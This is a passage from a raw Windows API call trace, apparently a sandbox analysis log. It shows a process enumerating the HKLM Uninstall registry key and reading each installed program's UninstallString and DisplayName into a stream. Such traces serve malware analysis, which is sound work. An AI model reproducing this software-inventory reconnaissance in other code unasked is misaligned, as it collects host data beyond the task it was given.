lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.196] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" [0047.196] LocalFree (hMem=0x721848) returned 0x0 [0047.196] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.197] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x2, lpData=0x0, lpcbData=0xeed94*=0x35) returned 0x0 [0047.197] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x721848 [0047.197] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x721848, lpcbData=0xeed94*=0x35 | out: lpType=0x0, lpData=0x721848*=0x4d, lpcbData=0xeed94*=0x35) returned 0x0 [0047.197] RegCloseKey (hKey=0x380) returned 0x0 [0047.197] IStream:Commit (This=0x747360, grfCommitFlags=0x721848) returned 0x0 [0047.197] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.197] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x721848 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x13) returned 0x0 [0047.197] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x716ef8 [0047.197] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x716ef8, lpcbData=0xeed90*=0x13 | out: lpType=0x0, lpData=0x716ef8*=0x41, lpcbData=0xeed90*=0x13) returned 0x0 [0047.197] RegCloseKey (hKey=0x380) returned 0x0 [0047.197] lstrlenA (lpString="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned 38 [0047.197] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.197] IStream:Commit (This=0x7473d8, grfCommitFlags=0x716ef8) returned 0x0 [0047.197] LocalFree (hMem=0x716ef8) returned 0x0 [0047.197] LocalFree (hMem=0x721848) returned 0x0 [0047.197] LocalFree (hMem=0x745b68) returned 0x0 [0047.197] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x20, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{B175520C-86A2-35A7-8619-86DC379688B9}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.197] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.197] lstrlenA (lpString="\\") returned 1 [0047.197] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.197] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.197] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.197] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.197] lstrlenA (lpString="{B175520C-86A2-35A7-8619-86DC379688B9}") returned 38 [0047.197] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.197] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.197] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{B175520C-86A2-35A7-8619-86DC379688B9}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}" [0047.197] LocalFree (hMem=0x721848) returned 0x0 [0047.197] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.197] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x2, lpData=0x0, lpcbData=0xeed94*=0x35) returned 0x0 [0047.197] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x721848 [0047.197] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x721848, lpcbData=0xeed94*=0x35 | out: lpType=0x0, lpData=0x721848*=0x4d, lpcbData=0xeed94*=0x35) returned 0x0 [0047.197] RegCloseKey (hKey=0x380) returned 0x0 [0047.197] IStream:Commit (This=0x747360, grfCommitFlags=0x721848) returned 0x0 [0047.197] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.201] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x721848 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x3e) returned 0x0 [0047.201] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74a670 [0047.201] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x74a670, lpcbData=0xeed90*=0x3e | out: lpType=0x0, lpData=0x74a670*=0x4d, lpcbData=0xeed90*=0x3e) returned 0x0 [0047.201] RegCloseKey (hKey=0x380) returned 0x0 [0047.201] lstrlenA (lpString="{B175520C-86A2-35A7-8619-86DC379688B9}") returned 38 [0047.201] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.201] IStream:Commit (This=0x7473d8, grfCommitFlags=0x74a670) returned 0x0 [0047.201] LocalFree (hMem=0x74a670) returned 0x0 [0047.201] LocalFree (hMem=0x721848) returned 0x0 [0047.202] LocalFree (hMem=0x745b68) returned 0x0 [0047.202] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x21, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.202] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.202] lstrlenA (lpString="\\") returned 1 [0047.202] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.202] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.202] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.202] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.202] lstrlenA (lpString="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned 38 [0047.202] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.202] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.202] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}" [0047.202] LocalFree (hMem=0x721848) returned 0x0 [0047.202] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.202] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x2, lpData=0x0, lpcbData=0xeed94*=0x35) returned 0x0 [0047.202] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x721848 [0047.202] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x721848, lpcbData=0xeed94*=0x35 | out: lpType=0x0, lpData=0x721848*=0x4d, lpcbData=0xeed94*=0x35) returned 0x0 [0047.202] RegCloseKey (hKey=0x380) returned 0x0 [0047.202] IStream:Commit (This=0x747360, grfCommitFlags=0x721848) returned 0x0 [0047.202] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.202] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x721848 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x3b) returned 0x0 [0047.202] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x74a670 [0047.202] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x74a670, lpcbData=0xeed90*=0x3b | out: lpType=0x0, lpData=0x74a670*=0x4d, lpcbData=0xeed90*=0x3b) returned 0x0 [0047.202] RegCloseKey (hKey=0x380) returned 0x0 [0047.202] lstrlenA (lpString="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned 38 [0047.202] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.202] IStream:Commit (This=0x7473d8, grfCommitFlags=0x74a670) returned 0x0 [0047.202] LocalFree (hMem=0x74a670) returned 0x0 [0047.202] LocalFree (hMem=0x721848) returned 0x0 [0047.202] LocalFree (hMem=0x745b68) returned 0x0 [0047.202] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x22, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.202] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.202] lstrlenA (lpString="\\") returned 1 [0047.202] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.202] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.202] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.202] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.202] lstrlenA (lpString="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 38 [0047.202] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.202] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.202] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0047.203] LocalFree (hMem=0x721848) returned 0x0 [0047.203] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.203] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x1, lpData=0x0, lpcbData=0xeed94*=0x63) returned 0x0 [0047.203] LocalAlloc (uFlags=0x40, uBytes=0xe4) returned 0x72f5b0 [0047.203] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x72f5b0, lpcbData=0xeed94*=0x63 | out: lpType=0x0, lpData=0x72f5b0*=0x22, lpcbData=0xeed94*=0x63) returned 0x0 [0047.203] RegCloseKey (hKey=0x380) returned 0x0 [0047.203] IStream:Commit (This=0x747360, grfCommitFlags=0x72f5b0) returned 0x0 [0047.203] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.203] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x72f5b0 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x3d) returned 0x0 [0047.203] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74a670 [0047.203] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x74a670, lpcbData=0xeed90*=0x3d | out: lpType=0x0, lpData=0x74a670*=0x4d, lpcbData=0xeed90*=0x3d) returned 0x0 [0047.203] RegCloseKey (hKey=0x380) returned 0x0 [0047.203] lstrlenA (lpString="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 38 [0047.203] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.203] IStream:Commit (This=0x7473d8, grfCommitFlags=0x74a670) returned 0x0 [0047.203] LocalFree (hMem=0x74a670) returned 0x0 [0047.203] LocalFree (hMem=0x72f5b0) returned 0x0 [0047.203] LocalFree (hMem=0x745b68) returned 0x0 [0047.203] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x23, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.203] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.203] lstrlenA (lpString="\\") returned 1 [0047.203] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.203] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.203] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.203] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.203] lstrlenA (lpString="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 38 [0047.203] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.203] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.203] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0047.203] LocalFree (hMem=0x721848) returned 0x0 [0047.203] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.203] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x1, lpData=0x0, lpcbData=0xeed94*=0x64) returned 0x0 [0047.203] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x72f5b0 [0047.203] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x72f5b0, lpcbData=0xeed94*=0x64 | out: lpType=0x0, lpData=0x72f5b0*=0x22, lpcbData=0xeed94*=0x64) returned 0x0 [0047.203] RegCloseKey (hKey=0x380) returned 0x0 [0047.204] IStream:Commit (This=0x747360, grfCommitFlags=0x72f5b0) returned 0x0 [0047.204] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.204] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x72f5b0 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x3e) returned 0x0 [0047.204] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74a670 [0047.204] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x74a670, lpcbData=0xeed90*=0x3e | out: lpType=0x0, lpData=0x74a670*=0x4d, lpcbData=0xeed90*=0x3e) returned 0x0 [0047.204] RegCloseKey (hKey=0x380) returned 0x0 [0047.204] lstrlenA (lpString="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 38 [0047.204] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.204] IStream:Commit (This=0x7473d8, grfCommitFlags=0x74a670) returned 0x0 [0047.204] LocalFree (hMem=0x74a670) returned 0x0 [0047.204] LocalFree (hMem=0x72f5b0) returned 0x0 [0047.204] LocalFree (hMem=0x745b68) returned 0x0 [0047.204] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x24, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.204] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.204] lstrlenA (lpString="\\") returned 1 [0047.204] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.204] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.204] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.204] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.204] lstrlenA (lpString="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 38 [0047.204] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.204] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.204] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0047.204] LocalFree (hMem=0x721848) returned 0x0 [0047.204] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.204] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x1, lpData=0x0, lpcbData=0xeed94*=0x63) returned 0x0 [0047.204] LocalAlloc (uFlags=0x40, uBytes=0xe4) returned 0x72f5b0 [0047.204] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x72f5b0, lpcbData=0xeed94*=0x63 | out: lpType=0x0, lpData=0x72f5b0*=0x22, lpcbData=0xeed94*=0x63) returned 0x0 [0047.204] RegCloseKey (hKey=0x380) returned 0x0 [0047.204] IStream:Commit (This=0x747360, grfCommitFlags=0x72f5b0) returned 0x0 [0047.204] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.204] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x72f5b0 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x3d) returned 0x0 [0047.204] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74a670 [0047.204] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x74a670, lpcbData=0xeed90*=0x3d | out: lpType=0x0, lpData=0x74a670*=0x4d, lpcbData=0xeed90*=0x3d) returned 0x0 [0047.205] RegCloseKey (hKey=0x380) returned 0x0 [0047.205] lstrlenA (lpString="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 38 [0047.205] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.205] IStream:Commit (This=0x7473d8, grfCommitFlags=0x74a670) returned 0x0 [0047.205] LocalFree (hMem=0x74a670) returned 0x0 [0047.205] LocalFree (hMem=0x72f5b0) returned 0x0 [0047.205] LocalFree (hMem=0x745b68) returned 0x0 [0047.205] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x25, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.205] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.205] lstrlenA (lpString="\\") returned 1 [0047.205] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.205] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.205] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.205] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.205] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned 38 [0047.205] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.205] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.205] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", 